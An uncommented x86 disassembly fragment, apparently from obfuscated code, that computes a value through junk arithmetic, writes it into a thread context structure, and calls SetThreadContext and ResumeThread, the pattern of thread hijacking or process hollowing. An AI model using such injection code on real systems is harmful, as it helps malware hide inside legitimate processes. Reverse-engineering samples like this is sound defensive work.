mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x140], 0x9819bd05
jmp 0x1000a18f